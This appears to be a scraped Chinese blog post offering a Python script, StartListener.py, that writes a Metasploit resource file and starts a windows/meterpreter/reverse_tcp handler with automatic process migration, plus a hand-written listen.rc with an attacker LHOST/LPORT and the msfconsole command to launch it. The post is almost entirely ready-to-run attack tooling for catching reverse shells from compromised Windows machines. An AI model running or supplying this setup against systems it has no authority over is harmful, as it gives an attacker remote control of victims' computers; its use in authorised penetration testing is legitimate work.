zoukankan      html  css  js  c++  java
  • Quickly Start Listener scripts

    #!/usr/bin/python
    #
    # StartListener.py
    # Simple python script to start a Meterpreter Listener
    # Auto Inject to other process
    # github: https://raw.github.com/obscuresec/random/master/StartListener.py
    
    import sys import subprocess #write a resource file and call it def build(lhost,lport): options = "use exploit/multi/handler " options += "set payload windows/meterpreter/reverse_tcp set LHOST {0} set LPORT {1} ".format(lhost,lport) options += "set ExitOnSession false set AutoRunScript post/windows/manage/smart_migrate exploit -j " filewrite = file("listener.rc", "w") filewrite.write(options) filewrite.close() subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args try: lhost = sys.argv[1] lport = sys.argv[2] build(lhost,lport) #index error except IndexError: print "python StartListener.py lhost lport"

    A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

    You can change the listener type you what.

    Before using it, you may also have to change the path of msfconsole file.

     If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

    You  can also create a file, such as "listen.rc"

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.150
    set LPORT 8888
    set ExitOnSession false
    set AutoRunScript post/windows/manage/migrate
    exploit -j

    Then,use it to start a listen.

    msfconsole -r listen.rc

  • 相关阅读:
    cubestore driver 添加auth认证
    cubestore 添加auth 认证
    基于s3 扩展cubestore
    cube.js 预聚合检查
    cube.js 集成cubestore 时间格式问题的一些说明
    cube.js 集成cubestore 时间格式问题
    Building a GraphQL to SQL Compiler on Postgres, MS SQL and MySQL
    支持minio cubestore docker 镜像
    数据治理怎么做
    使用project制定项目计划可以分为六个步骤
  • 原文地址:https://www.cnblogs.com/ssooking/p/5795595.html
Copyright © 2011-2022 走看看